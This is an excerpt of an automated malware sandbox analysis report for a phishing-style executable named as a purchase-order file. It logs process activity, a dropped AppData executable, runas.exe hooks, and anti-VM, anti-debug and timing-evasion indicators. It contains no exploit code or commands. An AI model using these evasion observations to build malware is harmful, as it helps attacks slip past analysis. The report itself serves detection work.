Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\runas.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\runas.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\runas.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\runas.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\runas.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: Pre Alert PO TVKJEANSA00967.bat.exe PID: 7480, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: STiokuWkiGFJ.exe PID: 8064, type: MEMORYSTR

Switches to a custom stack to bypass stack traces

Source: C:\Windows\SysWOW64\runas.exe	API/Special instruction interceptor: Address: 7FFE2220D324
Source: C:\Windows\SysWOW64\runas.exe	API/Special instruction interceptor: Address: 7FFE2220D7E4
Source: C:\Windows\SysWOW64\runas.exe	API/Special instruction interceptor: Address: 7FFE2220D944
Source: C:\Windows\SysWOW64\runas.exe	API/Special instruction interceptor: Address: 7FFE2220D504
Source: C:\Windows\SysWOW64\runas.exe	API/Special instruction interceptor: Address: 7FFE2220D544
Source: C:\Windows\SysWOW64\runas.exe	API/Special instruction interceptor: Address: 7FFE2220D1E4
Source: C:\Windows\SysWOW64\runas.exe	API/Special instruction interceptor: Address: 7FFE22210154
Source: C:\Windows\SysWOW64\runas.exe	API/Special instruction interceptor: Address: 7FFE2220DA44

Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Memory allocated: 1330000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Memory allocated: 2E90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Memory allocated: 2CD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Memory allocated: 8FD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Memory allocated: 9FD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Memory allocated: A1D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Memory allocated: B1D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Memory allocated: 2510000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Memory allocated: 2700000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Memory allocated: 2510000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Memory allocated: 83B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Memory allocated: 93B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Memory allocated: 95A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Memory allocated: A5A0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe

Code function: 0_2_0133D1D4 rdtsc

0_2_0133D1D4

Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2326	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3897	Jump to behavior
Source: C:\Windows\SysWOW64\runas.exe	Window / User API: threadDelayed 374
Source: C:\Windows\SysWOW64\runas.exe	Window / User API: threadDelayed 9599

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	API coverage: 0.7 %
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	API coverage: 0.2 %
Source: C:\Windows\SysWOW64\runas.exe	API coverage: 2.6 %

Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe TID: 7504	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8028	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7984	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7968	Thread sleep count: 3897 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8032	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8016	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe TID: 8156	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\runas.exe TID: 7460	Thread sleep count: 374 > 30
Source: C:\Windows\SysWOW64\runas.exe TID: 7460	Thread sleep time: -748000s >= -30000s
Source: C:\Windows\SysWOW64\runas.exe TID: 7460	Thread sleep count: 9599 > 30
Source: C:\Windows\SysWOW64\runas.exe TID: 7460	Thread sleep time: -19198000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\runas.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\runas.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\runas.exe

Code function: 18_2_0050C8A0 FindFirstFileW,FindNextFileW,FindClose,

18_2_0050C8A0

Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: runas.exe, 00000012.00000002.2941572830.0000000000567000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll8
Source: STiokuWkiGFJ.exe, 00000009.00000002.1936268136.000000000087D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}(
Source: nhClcdOjQwJ.exe, 00000013.00000002.2942434543.0000000000E9F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000014.00000002.2366611269.0000024F2137E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe

Process information queried: ProcessInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\runas.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe

Code function: 0_2_0133D1D4 rdtsc

0_2_0133D1D4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 8_2_00417D53 LdrLoadDll,

8_2_00417D53

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01664164 mov eax, dword ptr fs:[00000030h]	8_2_01664164
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01664164 mov eax, dword ptr fs:[00000030h]	8_2_01664164
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01596154 mov eax, dword ptr fs:[00000030h]	8_2_01596154
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01596154 mov eax, dword ptr fs:[00000030h]	8_2_01596154
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0158C156 mov eax, dword ptr fs:[00000030h]	8_2_0158C156
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01624144 mov eax, dword ptr fs:[00000030h]	8_2_01624144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01624144 mov eax, dword ptr fs:[00000030h]	8_2_01624144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01624144 mov ecx, dword ptr fs:[00000030h]	8_2_01624144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01624144 mov eax, dword ptr fs:[00000030h]	8_2_01624144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01624144 mov eax, dword ptr fs:[00000030h]	8_2_01624144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01628158 mov eax, dword ptr fs:[00000030h]	8_2_01628158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0163E10E mov eax, dword ptr fs:[00000030h]	8_2_0163E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0163E10E mov ecx, dword ptr fs:[00000030h]	8_2_0163E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0163E10E mov eax, dword ptr fs:[00000030h]	8_2_0163E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0163E10E mov eax, dword ptr fs:[00000030h]	8_2_0163E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0163E10E mov ecx, dword ptr fs:[00000030h]	8_2_0163E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0163E10E mov eax, dword ptr fs:[00000030h]	8_2_0163E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0163E10E mov eax, dword ptr fs:[00000030h]	8_2_0163E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0163E10E mov ecx, dword ptr fs:[00000030h]	8_2_0163E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0163E10E mov eax, dword ptr fs:[00000030h]	8_2_0163E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0163E10E mov ecx, dword ptr fs:[00000030h]	8_2_0163E10E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01650115 mov eax, dword ptr fs:[00000030h]	8_2_01650115
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015C0124 mov eax, dword ptr fs:[00000030h]	8_2_015C0124
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0163A118 mov ecx, dword ptr fs:[00000030h]	8_2_0163A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0163A118 mov eax, dword ptr fs:[00000030h]	8_2_0163A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0163A118 mov eax, dword ptr fs:[00000030h]	8_2_0163A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0163A118 mov eax, dword ptr fs:[00000030h]	8_2_0163A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_016661E5 mov eax, dword ptr fs:[00000030h]	8_2_016661E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015C01F8 mov eax, dword ptr fs:[00000030h]	8_2_015C01F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_016561C3 mov eax, dword ptr fs:[00000030h]	8_2_016561C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_016561C3 mov eax, dword ptr fs:[00000030h]	8_2_016561C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0160E1D0 mov eax, dword ptr fs:[00000030h]	8_2_0160E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0160E1D0 mov eax, dword ptr fs:[00000030h]	8_2_0160E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0160E1D0 mov ecx, dword ptr fs:[00000030h]	8_2_0160E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0160E1D0 mov eax, dword ptr fs:[00000030h]	8_2_0160E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0160E1D0 mov eax, dword ptr fs:[00000030h]	8_2_0160E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0158A197 mov eax, dword ptr fs:[00000030h]	8_2_0158A197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0158A197 mov eax, dword ptr fs:[00000030h]	8_2_0158A197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0158A197 mov eax, dword ptr fs:[00000030h]	8_2_0158A197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D0185 mov eax, dword ptr fs:[00000030h]	8_2_015D0185
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01634180 mov eax, dword ptr fs:[00000030h]	8_2_01634180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01634180 mov eax, dword ptr fs:[00000030h]	8_2_01634180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0164C188 mov eax, dword ptr fs:[00000030h]	8_2_0164C188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0164C188 mov eax, dword ptr fs:[00000030h]	8_2_0164C188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0161019F mov eax, dword ptr fs:[00000030h]	8_2_0161019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0161019F mov eax, dword ptr fs:[00000030h]	8_2_0161019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0161019F mov eax, dword ptr fs:[00000030h]	8_2_0161019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0161019F mov eax, dword ptr fs:[00000030h]	8_2_0161019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01592050 mov eax, dword ptr fs:[00000030h]	8_2_01592050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015BC073 mov eax, dword ptr fs:[00000030h]	8_2_015BC073
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01616050 mov eax, dword ptr fs:[00000030h]	8_2_01616050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015AE016 mov eax, dword ptr fs:[00000030h]	8_2_015AE016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015AE016 mov eax, dword ptr fs:[00000030h]	8_2_015AE016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015AE016 mov eax, dword ptr fs:[00000030h]	8_2_015AE016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015AE016 mov eax, dword ptr fs:[00000030h]	8_2_015AE016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01626030 mov eax, dword ptr fs:[00000030h]	8_2_01626030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01614000 mov ecx, dword ptr fs:[00000030h]	8_2_01614000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01632000 mov eax, dword ptr fs:[00000030h]	8_2_01632000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01632000 mov eax, dword ptr fs:[00000030h]	8_2_01632000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01632000 mov eax, dword ptr fs:[00000030h]	8_2_01632000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01632000 mov eax, dword ptr fs:[00000030h]	8_2_01632000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01632000 mov eax, dword ptr fs:[00000030h]	8_2_01632000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01632000 mov eax, dword ptr fs:[00000030h]	8_2_01632000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01632000 mov eax, dword ptr fs:[00000030h]	8_2_01632000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01632000 mov eax, dword ptr fs:[00000030h]	8_2_01632000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0158A020 mov eax, dword ptr fs:[00000030h]	8_2_0158A020
